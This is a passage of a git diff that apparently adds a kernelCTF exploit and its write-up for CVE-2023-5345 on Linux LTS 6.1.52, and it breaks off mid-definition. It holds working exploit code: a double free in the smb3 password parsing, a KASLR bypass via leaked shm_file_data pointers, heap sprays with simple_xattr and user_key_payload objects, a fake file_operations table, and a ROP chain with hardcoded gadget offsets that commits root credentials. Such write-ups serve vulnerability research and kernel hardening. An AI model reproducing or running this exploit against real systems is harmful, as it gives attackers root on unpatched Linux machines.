overwrite_ovl_dir_file_fsfds[i], FSCONFIG_SET_STRING, "source", overwrite_buf, 0); + + trigger_code_execution_fd = ovl_fd; + return true; +} + +int main(int argc, char *argv[]) +{ + save_state(); + if (!setup_namespace()) + return EXIT_FAILURE; + + if (!pin_on_cpu(0)) + return EXIT_FAILURE; + + kernel_base = leak_kernel_base(); + printf("[+] kernel base: 0x%016lx\n", kernel_base); + + init_task += kernel_base; + init_fs += kernel_base; + prepare_kernel_cred += kernel_base; + commit_creds += kernel_base; + find_task_by_vpid += kernel_base; + swapgs_restore_regs_and_return_to_usermode_nopop += kernel_base; + mov_rsp_rbp_pop_rbp_ret += kernel_base; + pop_rdi_ret += kernel_base; + mov_rdi_rax_rep_ret += kernel_base; + pop_rsi_ret += kernel_base; + pop_rcx_ret += kernel_base; + mov_qword_ptr_rax_rsi_ret += kernel_base; + add_rax_rcx_ret += kernel_base; + + struct simple_xattr_leak_result *leak_simple_xattrs_on_kmalloc96 = leak_simple_xattr_on_kmalloc_96(); + uint64_t simple_xattr_kmalloc_8192_addr = prepare_rop_chain_and_fops_table(leak_simple_xattrs_on_kmalloc96); + + //prepare_code_execution(leak_simple_xattrs_on_kmalloc64); + uint64_t fake_fops_addr = simple_xattr_kmalloc_8192_addr + SIMPLE_XATTR_STRUCT_SIZE - STRUCT_FILE_OPERATIONS_LLSEEK_OFFSET; + prepare_code_execution(leak_simple_xattrs_on_kmalloc96, fake_fops_addr); + uint64_t rop_stack = simple_xattr_kmalloc_8192_addr + SIMPLE_XATTR_STRUCT_SIZE + 2048; + lseek(trigger_code_execution_fd, rop_stack, SEEK_CUR); +} diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/exploit.md b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/exploit.md new file mode 100644 index 00000000..169d1f92 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/exploit.md @@ -0,0 +1,1438 @@ +Exploit Details +=============== + +In the following, I explain the exploitation process to get flag on LTS-6.1.52 instance. + +# Summary + +At a high level the exploit performs the following: + +- Build a double-free primitive. Both the first free and the second free can be triggered anytime i want. Target slabs range from: kmalloc-8 -> kmalloc-256. This primitive can be triggered multiple times. +- Leak `struct shm_file_data` object which contains pointer to `shmem_vm_ops`. This allow me to bypass KASLR. +- Use `struct simple_xattr` object to store both rop chain and a fake `struct file_operations` object which only `llseek` pointer set. This `llseek` pointer will point to stack pivot gadget. Leak this `struct simple_xattr` object address. +- Use `struct simple_xattr` object to store fake `struct file` object. This `struct file` object has `f_op` set to the fake `struct file_operations` object's address from last step. +- Overwrite `struct ovl_dir_file` object which `realfile` set to the fake `struct file` object's address from last step. +- Trigger llseek to achieve stack pivot and run rop chain. + +# Step in detail + +## Step1: Initialization for exploit + +Before triggering the vulnerability, the exploit takes the following steps: + 1. Save cs, ss, rsp, rflags registers. + 2. Setup namespaces and mount useful filesystems. + 3. Pinning the CPU. + +### Step1.1: Save cs, ss, rsp, rflags registers +- [exploit.c#L886](./exploit.c#L886): + +```c +save_state(); +``` + +- [exploit.c#L140](./exploit.c#L140): + +```c +void save_state(void) +{ + __asm__( + ".intel_syntax noprefix;" + "mov user_cs, cs;" + "mov user_ss, ss;" + "mov user_rsp, rsp;" + "pushf;" + "pop user_rflags;" + ".att_syntax;" + ); +} +``` +These registers value will be used to return to userspace from rop chain. + +### Step1.2: Setup namespaces and mount userful filesystems +- [exploit.c#L887](./exploit.c#L887): + +```c +if (!setup_namespace()) + return EXIT_FAILURE; +``` + +- [exploit.c#L528](./exploit.c#L528): + +```c +bool setup_namespace(void) +{ + int real_uid = getuid(); + int real_gid = getgid(); + + if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC) < 0) { + perror("unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC)"); + return false; + } + + if (!write_to_file("/proc/self/setgroups", "deny")) + return false; + + if (!write_to_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) + return false; + + if (!write_to_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) + return false; + + mkdir(TMPFS_MOUNT_POINT, 0644); + if (mount("none", TMPFS_MOUNT_POINT, "tmpfs", 0, NULL) < 0) { + fprintf(stderr, "mount %s(type: tmpfs): %s\n", TMPFS_MOUNT_POINT, strerror(errno)); + return false; + } + + mkdir(OVERLAYFS_MOUNT_POINT, 0644); + mkdir(OVERLAYFS_LOWER_DIR_1, 0644); + mkdir(OVERLAYFS_LOWER_DIR_2, 0644); + + char overlayfs_mount_options[512]; + snprintf(overlayfs_mount_options, sizeof(overlayfs_mount_options), "lowerdir=%s:%s", + OVERLAYFS_LOWER_DIR_1, OVERLAYFS_LOWER_DIR_2); + + if (mount("overlay", OVERLAYFS_MOUNT_POINT, "overlay", 0, overlayfs_mount_options) < 0) { + fprintf(stderr, "mount %s(type: overlayfs): %s\n", OVERLAYFS_MOUNT_POINT, strerror(errno)); + return false; + } + + return true; +} +``` + +- Create and enter user/mount namespace with unshare syscall. This is necessary to trigger the vulnerability of the smbfs subsystem as an unprivileged user and mount useful filesystem. +- Create IPC namespace. This is necessary to allocate more `struct shm_file_data` objects in jail. +- Mount tmpfs filesystem which can be used to allocate `struct simple_xattr` object. +- Mount overlayfs filesystem which can be used to allocate `struct ovl_dir_file` object. + +### Step1.3: Pinning the CPU +- [exploit.c#L890](./exploit.c#L890): + +```c +if (!pin_on_cpu(0)) + return EXIT_FAILURE; +``` + +- [exploit.c#L491](./exploit.c#L491): + +```c +bool pin_on_cpu(int core_id) +{ + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(core_id, &cpuset); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset) < 0) { + fprintf(stderr, "pin_on_cpu failed: %s\n", strerror(errno)); + return false; + } + + return true; +} +``` + +- Pinning the current task into CPU core 0 with `sched_setaffinity` syscall. This is to maintain the exploit context in the same core to utilize percpu slab cache and freelist. + +## Step2: Build double free primitive +The primitive can be built by splitting the process to three steps: + 1. Allocate vulnerable object. + 2. Free vulnerable object the first time. + 3. Free vulnerable object the second time. + +### Step2.1: Allocate vulnerable object +- Exploit code [exploit.c#L569](./exploit.c#L569): + +```c +int prepare_double_free(int kmalloc_size) +{ + if (kmalloc_size <= 0 || kmalloc_size > 256) + return -1; + + int fsfd = syscall(SYS_fsopen, "smb3", 0); + if (fsfd < 0) { + fprintf(stderr, "fsopen(smb3) failed: %s\n", strerror(errno)); + return -1; + } + + char password[256]; + memset(password, 0x1, kmalloc_size - 1); + password[kmalloc_size-1] = 0; + if (syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "password", password, 0) < 0) { + perror("fsconfig(FSCONFIG_SET_STRING)"); + close(fsfd); + return -1; + } + + return fsfd; +} +``` + +- Kernel code: + +```c +static int smb3_fs_context_parse_param(struct fs_context *fc, + struct fs_parameter *param) +{ + ... + switch (opt) { + case Opt_pass: + ... + + ctx->password = kstrdup(param->string, GFP_KERNEL); + if (ctx->password == NULL) { + cifs_errorf(fc, "OOM when copying password string\n"); + goto cifs_parse_mount_err; + } + break; + ... +} +``` + +- This step allocate `ctx->password` which is vulnerable object. + +### Step2.2: Free vulnerable object the first time +- Exploit code [exploit.c#L592](./exploit.c#L592): + +```c +static inline void trigger_first_free(int fsfd) +{ + syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "max_credits", "19", 0); +} +``` + +- Kernel code: + +```c +static int smb3_fs_context_parse_param(struct fs_context *fc, + struct fs_parameter *param) +{ + ... + switch (opt) { + ... + + case Opt_max_credits: + if (result.uint_32 < 20 || result.uint_32 > 60000) { + cifs_errorf(fc, "%s: Invalid max_credits value\n", + __func__); + goto cifs_parse_mount_err; + } + + ... + } + ... + cifs_parse_mount_err: + kfree_sensitive(ctx->password); + return -EINVAL; +} +``` + +### Step2.3: Free vulnerable object the second time +- Exploit code [exploit.c#L597](./exploit.c#L597): + +```c +static inline void trigger_second_free(int fsfd) +{ + close(fsfd); +} +``` + +- Kernel code: + +```c +void +smb3_cleanup_fs_context_contents(struct smb3_fs_context *ctx) +{ + ... + kfree_sensitive(ctx->password); + ctx->password = NULL; + ... +} +``` + +## Step3: Bypass KASLR +- [exploit.c#L893](./exploit.c#L893): + +```c +kernel_base = leak_kernel_base(); +printf("[+] kernel base: 0x%016lx\n", kernel_base); + +init_task += kernel_base; +init_fs += kernel_base; +prepare_kernel_cred += kernel_base; +commit_creds += kernel_base; +find_task_by_vpid += kernel_base; +swapgs_restore_regs_and_return_to_usermode_nopop += kernel_base; +mov_rsp_rbp_pop_rbp_ret += kernel_base; +pop_rdi_ret += kernel_base; +mov_rdi_rax_rep_ret += kernel_base; +pop_rsi_ret += kernel_base; +pop_rcx_ret += kernel_base; +mov_qword_ptr_rax_rsi_ret += kernel_base; +add_rax_rcx_ret += kernel_base; +``` + +- Offsets from kernel base [exploit.c#L42](./exploit.c#L42): + +```c +uint64_t init_task = 0x2615a40; +uint64_t init_fs = 0x27b3de0; +uint64_t find_task_by_vpid = 0x1b64f0; +uint64_t prepare_kernel_cred = 0x1bfea0; +uint64_t commit_creds = 0x1bfc00; +uint64_t swapgs_restore_regs_and_return_to_usermode_nopop = 0x1201146; +uint64_t mov_rsp_rbp_pop_rbp_ret = 0x12de6c; +uint64_t pop_rdi_ret = 0xa61d8; +uint64_t pop_rsi_ret = 0x9b676; +uint64_t mov_rdi_rax_rep_ret = 0x117b93b; +uint64_t pop_rcx_ret = 0x37f1b3; +uint64_t mov_qword_ptr_rax_rsi_ret = 0x1e8ab3; +uint64_t add_rax_rcx_ret = 0xb13ccd; +``` + +The KASLR bypass process is implemented inside a loop which do the following steps: + 1. Prepare for `struct shm_file_data` objects allocation. + 2. Drain kmalloc-32. + 3. Try to overlap `struct user_key_payload` object and `struct shm_file_data` object. + 4. Leak heap with `struct user_key_payload` object. + 5. Search for `shmem_vm_ops` address. + 6. Cleanup and retry in case of failure. + 7. Calculate kernel base in case of success. + +### Step3.1: Prepare for `struct shm_file_data` allocation +- [exploit.c#L614](./exploit.c#L614): + +```c +int *shmids = prepare_shm_file_data_alloc(256); +``` + +- [exploit.c#L400](./exploit.c#L400): + +```c +int *prepare_shm_file_data_alloc(int n) +{ + int *shmids = malloc(n * sizeof(*shmids)); + if (!shmids) { + perror("malloc"); + return NULL; + } + + for (int i = 0; i < n; i++) { + shmids[i] = shmget(IPC_PRIVATE, 4096, IPC_CREAT); + if (shmids[i] < 0) { + perror("shmget"); + for (int j = i - 1; j >= 0; j--) + shmctl(shmids[j], IPC_RMID, NULL); + + free(shmids); + return NULL; + } + } + + return shmids; +} +``` + +- Each identifier stored in shmids will be used to allocate `struct shm_file_data` object in the future. + +### Step3.2: Drain kmalloc-32 +- [exploit.c#L620](./exploit.c#L620): + +```c +if (!drain_kmalloc_32(512)) + return 0; +``` + +- [exploit.c#L288](./exploit.c#L288): + +```c +bool drain_kmalloc_32(int n) +{ + static bool first_time = true; + static int obj_cnt = 0; + + if (first_time) { + if (!create_file(DRAIN_KMALLOC_32_FILE_PATH)) + return false; + + first_time = false; + } + + char payload[32] = {}; + char name[512] = {}; + + for (int i = 0; i < n; i++) { + snprintf(name, sizeof(name), "security.A%d", obj_cnt); + if (setxattr(DRAIN_KMALLOC_32_FILE_PATH, name, payload, 0, 0) < 0) { + fprintf(stderr, "setxattr(kmalloc_32) failed: %s\n", strerror(errno)); + return false; + } + + obj_cnt++; + } + + return true; +} +``` + +- Note: I think this step is unnecessary. Anyway, it don't cause any problem. + +### Step3.3: Try to overlap `struct user_key_payload` object and `struct shm_file_data` object +- Free `struct user_key_payload` object [exploit.c#L623](./exploit.c#L623): + +```c +df_fsfd = prepare_double_free(KMALLOC_32); +if (df_fsfd < 0) + return 0; + +get_full_timesplice(); +trigger_first_free(df_fsfd); +read_kmalloc_32_key = user_key_payload_alloc("key32", "A", 1); +if (read_kmalloc_32_key < 0) + return 0; + +get_full_timesplice(); +trigger_second_free(df_fsfd); +``` + +- [exploit.c#L448](./exploit.c#L448): +```c +key_serial_t user_key_payload_alloc(const char *desc, void *data, int n) +{ + key_serial_t key = add_key("user", desc, data, n, KEY_SPEC_USER_KEYRING); + if (key < 0) { + perror("add_key"); + return -1; + } + + return key; +} +``` + +- Reclaim with `struct shm_file_data` object [exploit.c#L635](./exploit.c#L635): + +```c +if (!shm_file_data_alloc(shmids, 256)) + return 0; +``` + +- [exploit.c#L423](./exploit.c#L423): + +```c +bool shm_file_data_alloc(int *shmids, int n) +{ + for (int i = 0; i < n; i++) { + if (!shmat(shmids[i], NULL, 0)) { + perror("shmat"); + return false; + } + } + + return true; +} +``` + +### Step3.4: Leak heap with `struct user_key_payload` object +- [exploit.c#L638](./exploit.c#L638): + +```c +if ((sz = user_key_payload_read(read_kmalloc_32_key, leak_buffer, sizeof(leak_buffer))) < 0) + return 0; +``` + +- [exploit.c#L459](./exploit.c#L459): + +```c +long user_key_payload_read(key_serial_t key, void *buf, int n) +{ + long ret = keyctl_read(key, buf, n); + if (ret < 0) { + perror("keyctl_read"); + return -1; + } + + return ret; +} +``` + +### Step3.5: Search for `shmem_vm_ops` address +- [exploit.c#L641](./exploit.c#L641): + +```c +shmem_vm_ops = search_shmem_vm_ops((uint64_t*)leak_buffer, sz / sizeof(uint64_t)); +``` + +- [exploit.c#L602](./exploit.c#L602): + +```c +uint64_t search_shmem_vm_ops(uint64_t *leak_data, int n) +{ + for (int i = 0; i < n; i++) + if ((leak_data[i] & 0x0FFFFF) == SHMEM_VM_OPS_LAST_20_BITS && (leak_data[i] >> 32) == 0xffffffff) + return leak_data[i]; + + return 0; +} +``` + +- [exploit.c#L35](./exploit.c#L35): + +```c +#define SHMEM_VM_OPS_LAST_20_BITS 0x18600 +``` + +### Step3.6: Cleanup and retry in case of failure +- [exploit.c#L645](./exploit.c#L645): + +```c +if (!shm_file_data_free(shmids, 256)) + return 0; +``` + +- [exploit.c#L435](./exploit.c#L435): + +```c +bool shm_file_data_free(int *shmids, int n) +{ + for (int i = 0; i < n; i++) { + if (shmctl(shmids[i], IPC_RMID, NULL) < 0) { + perror("shmctl"); + return false; + } + } + + free(shmids); + return true; +} +``` + +- This step destroy all `struct shm_file_data` objects and System V shared memory segments. + +### Step3.7: Calculate kernel base in case of success + +- [exploit.c#L650](./exploit.c#L650): + +```c +return shmem_vm_ops - SHMEM_VM_OPS_OFFSET_FROM_KERNEL_BASE; +``` +- [exploit.c#L36](./exploit.c#L36): + +```c +#define SHMEM_VM_OPS_OFFSET_FROM_KERNEL_BASE 0x1a18600 +``` + +### Note: +- I forget to put step 3.1 implementation inside loop. This mistake will make the retry step fail and cause UAF too. The retry case never happen while running the exploit. + +## Step4: Build primitive to leak two `struct simple_xattr` objects address +- I need two `struct simple_xattr` objects. One is used to store ropchain and a fake `struct file_operations` object. One is used to store a fake `struct file` object. +- Build a way to leak these 2 `struct simple_xattr` objects first. Then allocate its later. + +- Kernel code: + +```c +struct simple_xattr { + struct list_head list; + char *name; + size_t size; + char value[]; +}; +``` + +```c +int simple_xattr_set(struct simple_xattrs *xattrs, const char *name, + const void *value, size_t size, int flags, + ssize_t *removed_size) +{ + struct simple_xattr *xattr; + struct simple_xattr *new_xattr = NULL; + int err = 0; + + if (removed_size) + *removed_size = -1; + + if (value) { + new_xattr = simple_xattr_alloc(value, size); // `struct simple_xattr` object is allocated here. + if (!new_xattr) + return -ENOMEM; + + new_xattr->name = kstrdup(name, GFP_KERNEL); + if (!new_xattr->name) { + kvfree(new_xattr); + return -ENOMEM; + } + } + + spin_lock(&xattrs->lock); + list_for_each_entry(xattr, &xattrs->head, list) { + if (!strcmp(name, xattr->name)) { + if (flags & XATTR_CREATE) { + xattr = new_xattr; + err = -EEXIST; + } else if (new_xattr) { + list_replace(&xattr->list, &new_xattr->list); + if (removed_size) + *removed_size = xattr->size; + } else { + list_del(&xattr->list); + if (removed_size) + *removed_size = xattr->size; + } + goto out; + } + } + if (flags & XATTR_REPLACE) { + xattr = new_xattr; + err = -ENODATA; + } else { + list_add(&new_xattr->list, &xattrs->head); // xattrs->head represent `struct simple_xattr` linked list of each file + xattr = NULL; + } +out: + spin_unlock(&xattrs->lock); + if (xattr) { + kfree(xattr->name); + kvfree(xattr); + } + return err; + +} +``` + +```c +struct simple_xattr *simple_xattr_alloc(const void *value, size_t size) +{ + // value: payload passed from userspace + // size: size of payload + struct simple_xattr *new_xattr; + size_t len; + + /* wrap around? */ + len = sizeof(*new_xattr) + size; // len = 32 + size + if (len < sizeof(*new_xattr)) + return NULL; + + new_xattr = kvmalloc(len, GFP_KERNEL); + if (!new_xattr) + return NULL; + + new_xattr->size = size; + memcpy(new_xattr->value, value, size); + return new_xattr; +} +``` + +Some interesting things about `struct simple_xattr`: +- Can be allocated on kmalloc-32 -> kmalloc-8192. +- `value` field contain data copy from user. +- Each `struct simple_xattr` object allocated on the same file will be insert at the head of link list represented by `xattrs->head`. Read `list.prev` member of `struct simple_xattr` object will allow me to leak other `struct simple_xattr` object address. + +I chose kmalloc-96 as target slab and perform the following steps: + 1. Drain kmalloc-96. + 2. Prepare and save data necessary for `struct simple_xattr` objects spray. + 3. Use the double free primitive to free `struct user_key_payload` object. + 4. Spray `struct simple_xattr` objects to reclaim `struct user_key_payload` object and fill all free slots in slab. + 5. Use `struct user_key_payload` object to leak heap. + 6. Search for at least 2 `struct simple_xattr` objects and save the results. + +### Step4.1: Drain kmalloc-96 +- [exploit.c#L689](./exploit#L689): + +```c +drain_kmalloc_96(128) +``` + +- [exploit.c#L344](./exploit#L344): +```c +bool drain_kmalloc_96(int n) +{ + static bool first_time = true; + static int obj_cnt = 0; + + if (first_time) { + if (!create_file(DRAIN_KMALLOC_96_FILE_PATH)) + return false; + + first_time = false; + } + + char payload[96] = {}; + char name[512] = {}; + + for (int i = 0; i < n; i++) { + snprintf(name, sizeof(name), "security.A%d", obj_cnt); + if (setxattr(DRAIN_KMALLOC_96_FILE_PATH, name, payload, 64, 0) < 0) { + fprintf(stderr, "setxattr(kmalloc_96) failed: %s\n", strerror(errno)); + return false; + } + + obj_cnt++; + } + + return true; +} +``` + +### Step4.2: Prepare and save data necessary for `struct simple_xattr` spray +- [exploit.c#L692](./exploit#L692): + +```c +m = simple_xattr_manager_alloc(256); +if (!m) + return 0; + +for (int i = 0; i < 256; i++) { + char path[512]; + snprintf(path, sizeof(path), "%s/%s_%d", TMPFS_MOUNT_POINT, "live_on_kmalloc_96", kmalloc96_obj_cnt); + char name[512]; + snprintf(name, sizeof(name), "security.kmalloc96_%d", kmalloc96_obj_cnt); + char payload[96]; + snprintf(payload, sizeof(payload), "%s_%d", pattern, kmalloc96_obj_cnt); + if (!simple_xattr_manager_append(m, path, name, payload, payload_size)) + return 0; + kmalloc96_obj_cnt++; +} +``` + +- The payload start with the same pattern and have a number at the end to make it unique per `struct simple_xattr` object. This way when leak heap, i can match `struct simple_xattr` object with userspace attribute data saved before. +- kmalloc-96 has 42 slots per slab, so spray 256 objects are kind of wasteful. Anyway, it still ok. + +- [exploit.c#L182](./exploit.c#L182): + +```c +struct simple_xattr_manager *simple_xattr_manager_alloc(int n) +{ + struct simple_xattr_manager *m = malloc(sizeof(*m)); + if (!m) { + perror("malloc simple_xattr_manager"); + return NULL; + } + + m->len = 0; + m->max = n; + m->attrs = calloc(n, sizeof(struct simple_xattr_attribute*)); + if (!m->attrs) { + perror("calloc attrs storage"); + free(m); + return NULL; + } + + return m; +} +``` + +- [exploit.c#L125](./exploit.c#L125): + +```c +struct simple_xattr_manager { + int max; + int len; + struct simple_xattr_attribute **attrs; +}; +``` + +- I use `struct simple_xattr_manager` object to store all data needed to spray `struct simple_xattr` objects. + +- [exploit.c#L118](./exploit.c#L118): + +```c +struct simple_xattr_attribute { + char *path; + char *name; + char *payload; + int size; +}; +``` + +- `path`: file path to allocate `struct simple_xattr` object. Each file has its own linked list of `struct simple_xattr` objects. +- `name`: unique per `struct simple_xattr` object on that file path. +- `payload`: contain user data. +- `size`: size of payload. + +- [exploit.c#L245](./exploit.c#L245): + +```c +bool simple_xattr_manager_append( + struct simple_xattr_manager *m, + const char *path, + const char *name, + const char *payload, + int size) +{ + if (m->len >= m->max) + return false; + + if (!create_file(path)) + return false; + + struct simple_xattr_attribute *attr = simple_xattr_attribute_alloc(path, name, payload, size); + if (!attr) + return false; + + m->attrs[m->len++] = attr; + return true; +} +``` + +- [exploit.c#L202](./exploit.c#L202): + +```c +struct simple_xattr_attribute *simple_xattr_attribute_alloc( + const char *path, + const char *name, + const char *payload, + int size) +{ + struct simple_xattr_attribute *attr = malloc(sizeof(*attr)); + if (!attr) { + fprintf(stderr, "malloc attr"); + return NULL; + } + + attr->path = strdup(path); + if (!attr->path) { + fprintf(stderr, "strdup(%s): %s\n", path, strerror(errno)); + goto err; + } + + attr->name = strdup(name); + if (!attr->name) { + fprintf(stderr, "strdup(%s): %s\n", name, strerror(errno)); + goto err1; + } + + attr->payload = malloc(size); + if (!attr->payload) { + perror("malloc payload"); + goto err2; + } + + attr->size = size; + memcpy(attr->payload, payload, size); + return attr; + +err2: + free(attr->name); +err1: + free(attr->path); +err: + free(attr); + return NULL; +} +``` + +### Step4.3: Free `struct user_key_payload` object +- [exploit.c#L708](./exploit.c#L708): + +```c +df_fsfd = prepare_double_free(KMALLOC_96); +if (df_fsfd < 0) + return 0; + +get_full_timesplice(); +trigger_first_free(df_fsfd); +char tmp[41] = {}; +read_kmalloc_96_key = user_key_payload_alloc("key96", tmp, 41); +if (read_kmalloc_96_key < 0) + return 0; + +get_full_timesplice(); +trigger_second_free(df_fsfd); +``` + +### Step4.4: Spray `struct simple_xattr` objects +- [exploit.c#L722](./exploit.c#L722): + +```c +if (!simple_xattr_manager_set(m)) + return 0; +``` + +- [exploit.c#L266](./exploit.c#L266): + +```c +bool simple_xattr_manager_set(struct simple_xattr_manager *m) +{ + for (int i = 0; i < m->len; i++) { + if (setxattr(m->attrs[i]->path, m->attrs[i]->name, m->attrs[i]->payload, m->attrs[i]->size, 0) < 0) { + perror("setxattr"); + return false; + } + } + + return true; +} +``` + +- After this step, `struct user_key_payload` object is overlapped with `struct simple_xattr` object and other free slots in kmalloc-96 slab are filled with `struct simple_xattr` objects. + +### Step4.5: Leak kmalloc-96 heap +- [exploit.c#L725](./exploit.c#L725): + +```c +if ((leak_size = user_key_payload_read(read_kmalloc_96_key, leak_buffer, sizeof (leak_buffer))) < 0) + return 0; +``` + +### Step4.6: Search for at least 2 `struct simple_xattr` objects and save the results +- [exploit.c#L728](./exploit.c#L728): + +```c +leak_simple_xattrs = malloc(sizeof(*leak_simple_xattrs)); +leak_simple_xattrs->attrs = calloc(m->len, sizeof(struct simple_xattr_attribute *)); +leak_simple_xattrs->live_on_heap = KMALLOC_96; +leak_simple_xattrs->offsets_to_leak = calloc(m->len, sizeof(int)); +leak_simple_xattrs->key_to_read = read_kmalloc_96_key; +leak_simple_xattrs->cnt = 0; +leak_simple_xattrs->size_to_read = leak_size; +``` +- [exploit.c#L131](./exploit.c#L131): + +```c +struct simple_xattr_leak_result { + struct simple_xattr_attribute **attrs; + int cnt; + int live_on_heap; + key_serial_t key_to_read; + int size_to_read; + int *offsets_to_leak; +}; +``` + +- I use `leak_simple_xattrs` to store data needed to leak address of future allocated `struct simple_xattr`. +- `attrs` will be used to get the filename to allocate `struct simple_xattr` on. +- `live_on_heap`: the heap size i chose to leak. +- `key_to_read`: access victim `struct user_key_payload` object which the exploit use to leak heap. +- `offsets_to_leak`: save the offsets in leak buffer that represent the currently leaked `struct simple_xattr` objects. + +- [exploit.c#L736](./exploit.c#L736): + +```c +void *scan = skip_user_key_payload(leak_buffer, KMALLOC_96); +for (int i = 0; i < leak_size - USER_KEY_PAYLOAD_STRUCT_SIZE; i += SIMPLE_XATTR_STRUCT_SIZE) { // coding mistake. Should be `i += KMALLOC_96`. Luckily i define SIMPLE_XATTR_STRUCT_SIZE to 32, so eventually the exploit scan at the next kmalloc_96 object. + struct simple_xattr *xattr = scan + i; + if (is_data_look_like_simple_xattr(xattr, payload_size, pattern, strlen(pattern))) { + //dump_simple_xattr(xattr); + int x = simple_xattr_manager_lookup(m, xattr); + if (x >= 0) { + leak_simple_xattrs->attrs[leak_simple_xattrs->cnt] = m->attrs[x]; + leak_simple_xattrs->offsets_to_leak[leak_simple_xattrs->cnt] = i; + leak_simple_xattrs->cnt++; + if (leak_simple_xattrs->cnt >= 2) + found_simple_xattr = true; + } + } +} +``` + +- [exploit.c#L653](./exploit.c#L653): + +```c +bool is_data_look_like_simple_xattr( + struct simple_xattr *xattr, + int kmalloc_size, + char *pattern, + int pattern_size) +{ + if ((xattr->list.next >> 48) == 0xFFFF && (xattr->list.prev >> 48) == 0xFFFF && + (xattr->name >> 48) == 0xFFFF && xattr->size == kmalloc_size && + memcmp(xattr->value, pattern, pattern_size) == 0) + return true; + + return false; +} +``` + +- [exploit.c#L278](./exploit.c#L278): + +```c +int simple_xattr_manager_lookup(struct simple_xattr_manager *m, struct simple_xattr *xattr) +{ + for (int i = 0; i < m->len; i++) + if (m->attrs[i]->size == xattr->size && + memcmp(m->attrs[i]->payload, xattr->value, xattr->size) == 0) + return i; + + return -1; +} + +``` + +- The exploit continue to search for data that look like `struct simple_xattr` object. In case `struct simple_xattr` object is found, save the attribute that is used to allocate that object and save the offset where that object is found in the leak buffer. +- From now on, I can allocate `struct simple_xattr` that have the payload i want on the same file that have `struct simple_xattr` object leaked. Then i leak the heap again and read the `list.prev` value to get the new allocated `struct simple_xattr` object address. + +### Note: +- In case `struct user_key_payload` object is allocated at the first or second slot from the end of slab, the exploit can't find 2 `struct simple_xattr` objects. Anyway, the whole process can be repeat until the exploit found at least 2 `struct simple_xattr` objects. + +## Step5: Create ropchain and a fake `struct file_operations` object + +- [exploit.c#L911](./exploit.c#L911): + +```c +uint64_t simple_xattr_kmalloc_8192_addr = prepare_rop_chain_and_fops_table(leak_simple_xattrs_on_kmalloc96); +``` + +- [exploit.c#L756](./exploit.c#L756): + +```c +uint64_t prepare_rop_chain_and_fops_table(struct simple_xattr_leak_result *r) +{ + uint8_t buf[8192] = {}; + uint64_t *lseek = (uint64_t*)(&buf[0]); + + /* After the exploit get RIP control with lseek(int fd, off_t offset, int whence), RBP register have value equal to offset. + So i set lseek to this stack pivot gadget: + mov rsp, rbp + pop rbp + ret + */ + *lseek = mov_rsp_rbp_pop_rbp_ret; + + /* Gadget reference: + pop_rdi_ret: pop rdi; ret + pop_rcx_ret: pop rcx; ret + mov_rdi_rax_rep_ret: mov rdi, rax; rep [do some mov here i forgot to save]; ret + add_rax_rcx_ret: add rax, rcx; ret + pop_rsi_ret: pop rsi; ret + mov_qword_ptr_rax_rsi_ret: mov qword ptr [rax], rsi; ret + */ + uint64_t *rop = (uint64_t*)(&buf[2048]); // 2048 is fine. Avoid stack underflow and overwrite heap data when calling function in ROP gadget which sometime cause random crash. + int idx = 0; + rop[idx++] = 0; // dummy value for the `pop rbp` in stack pivot gadget describe above + + rop[idx++] = pop_rdi_ret; // RDI = &init_task + rop[idx++] = init_task; + rop[idx++] = prepare_kernel_cred; // prepare_kernel_cred(init_task). After this, RAX will point to `struct cred` represent root. I will call this `root_cred`. + rop[idx++] = pop_rcx_ret; // RCX = 0 + rop[idx++] = 0; + rop[idx++] = mov_rdi_rax_rep_ret; // RDI = root_cred + rop[idx++] = commit_creds; // commit_creds(root_cred). After this, the exploit process have root permission. + + rop[idx++] = pop_rdi_ret; // RDI = exploit_process_pid + rop[idx++] = getpid(); + rop[idx++] = find_task_by_vpid; // find_task_by_vpid(exploit_process_pid). After this, RAX will point to `struct task_struct` represent the exploit process. I will call this `task_struct` exploit_task + rop[idx++] = pop_rcx_ret; // RCX = fs_offset_in_task_struct + rop[idx++] = TASK_STRUCT_FS_OFFSET; + rop[idx++] = add_rax_rcx_ret; // RAX = &(exploit_task->fs) + rop[idx++] = pop_rsi_ret; // RSI = &init_fs + rop[idx++] = init_fs; + rop[idx++] = mov_qword_ptr_rax_rsi_ret; // exploit_task->fs = init_fs + + rop[idx++] = swapgs_restore_regs_and_return_to_usermode_nopop; // return to userspace. + rop[idx++] = 0; // dummy + rop[idx++] = 0; // dummy + rop[idx++] = (uint64_t)win; + rop[idx++] = user_cs; + rop[idx++] = user_rflags; + rop[idx++] = user_rsp & 0xffffffffffffff00; + rop[idx++] = user_ss; + + // Allocate `struct simple_xattr` with `value` field contain ROP gadget and fake lseek address + if (setxattr(r->attrs[0]->path, "security.lseek_rop", buf, KMALLOC_8192 - SIMPLE_XATTR_STRUCT_SIZE, 0) < 0) { + perror("setxattr"); + return 0; + } + + // Leak heap again from data saved in step 4 + char leak_buffer[USER_KEY_PAYLOAD_BUFFER_MAX]; + user_key_payload_read(r->key_to_read, leak_buffer, r->size_to_read); + void *scan = skip_user_key_payload(leak_buffer, r->live_on_heap); + + // Read the `list.prev` value to get the address of `struct simple_xattr` that the exploit allocated in this step. + struct simple_xattr *xattr = scan + r->offsets_to_leak[0]; + return xattr->list.prev; +} +``` + +- Bacause the exploit will eventually perform stack pivot to this heap, I pick kmalloc-8192 so the exploit can have a generous stack size. + +## Step6: Calculate fops address and rop stack address +- Calculate fake fops address [exploit.c#L914](./exploit.c#L914): + +```c +uint64_t fake_fops_addr = simple_xattr_kmalloc_8192_addr + SIMPLE_XATTR_STRUCT_SIZE - STRUCT_FILE_OPERATIONS_LLSEEK_OFFSET; +``` +- [exploit.c#L27](./exploit.c#L27): + +```c +#define SIMPLE_XATTR_STRUCT_SIZE 32 +``` +- [exploit.c#L39](./exploit.c#L39): + +```c +#define 